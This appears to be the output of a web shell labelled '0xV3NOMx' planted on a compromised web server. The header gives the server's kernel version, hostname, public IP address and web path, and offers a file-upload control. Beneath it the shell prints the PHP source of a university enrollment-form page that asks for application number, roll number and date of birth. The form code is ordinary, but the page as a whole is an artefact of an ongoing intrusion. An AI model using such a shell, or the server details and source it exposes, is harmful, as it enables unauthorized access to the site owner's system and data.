0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64

Your IP : 18.118.126.51

Current Path : /var/www/misc/public_html/cuget16/
Upload File :
Current File : /var/www/misc/public_html/cuget16/docdownload.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<?php require_once("links/js_files.php");?> 
<script type="text/javascript">
		$(function(){		  
		 $('#div_app_form_center').corner("5px").css("border","1px solid #4F3B3B");
		 $('#print_app_form').corner("5px");
		 $('.div_app_form_center_black').corner("5px");
		$("#fdob").mask({mask: "##/##/####"}) ; 
		
		
		});
</script>
</head>

<body  >
<div id='main_frame'>
	<div class='header_main_div'>
			<?php require_once("links/header.php");?> 
		 
			<div class='app_form_center'>
				<div id='div_app_form_center' class="messageboard-div1" style='height:300px;'>
					<div style="height:40px; padding:2px;" align='center' class="div_app_form_center_black"><a style='font-family:Trebuchet MS;word-spacing: 4px;line-height:33px;color:#FFFFFF;'>Enrollment Form</a></div>	
					<span style='font-size: 13px;  font-weight: normal;  line-height: 40px;  margin-left: 6px;'>For shortlisted candidated only. </span>
					<div style="float: left;   margin-top: 15px;">
						<div style="float: left;margin-left: 12px;text-align: left;	width: 150px;">
							Application No. :</div>
						<div style="float: left; width: 300px; text-align: left;">
							<input  onfocus='$("#error_div").hide();'  type="text" style="height:20px;width:153px;border: 1px solid #353535;" onkeypress="return acceptNumbersOnlyForModule(event, false)" id="txtApplicationNo" maxlength="9" name="txtApplicationNo">							
						</div>
						<div style='clear:both;'/>
					</div>	
					<div style="float: left;   margin-top: 15px;">
						<div style="float: left;margin-left: 12px;text-align: left;	width: 150px;">
							Roll No. :</div>
						<div style="float: left; width: 300px; text-align: left;">
							<input  onfocus='$("#error_div").hide();'  type="text" style="height:20px;width:153px;border: 1px solid #353535;" onkeypress="return acceptNumbersOnlyForModule(event, false)" id="txtRollNo" maxlength="9" name="txtRollNo">
							<span style="font-size:9px;font-weight:bold;">(as per Admit Card)</span>
						</div>
					<div style='clear:both;'/>	
					</div>
					<div style="float: left;margin-left: 12px;margin-top: 12px;text-align: left;	width: 150px;">
							Date of Birth&nbsp; &nbsp;&nbsp;:</div>
						<div style="float: left; ;margin-top: 12px;width: 300px; text-align: left;">
							<input  onfocus='$("#error_div").hide();'  type="text" style="height:20px;width:153px;border: 1px solid #353535;"   id="fdob" maxlength="10" />
							<span style="font-size:9px;font-weight:bold;" >(dd/mm/yyyy)</span>
							
									
						</div>
					
					 </div>
					<div id='error_div' style='height:30px;'></div>	
				<div style="padding-top: 40px; margin-left: 140px; float: left;width: 300px;">
				<div id='print_app_form' style="background: none repeat scroll 0 0 #EECF02;
				float: left;
				height: 22px;
				margin-left: 25px;
				padding-left: 10px;
				width: 82px;box-shadow: 1px 1px 5px #888888;"><span style='cursor: pointer; line-height: 19px;' onclick="EnableAppStatusToDownload();">Proceed</span>


				</div>
				<div style="width: auto; height: auto; font-family: Arial; float: left; padding-top: 3px;padding-left: 10px;">
				<a style="color: #1D1C1C;
				font-size: 12px;" href="index.php">Back to Home</a>
				</div>
				</div>
																								
				</div>
			</div>
	</div>
	 
	<?php require_once("links/footer.php");?> 

</div>
 
</br>
</body>
</html>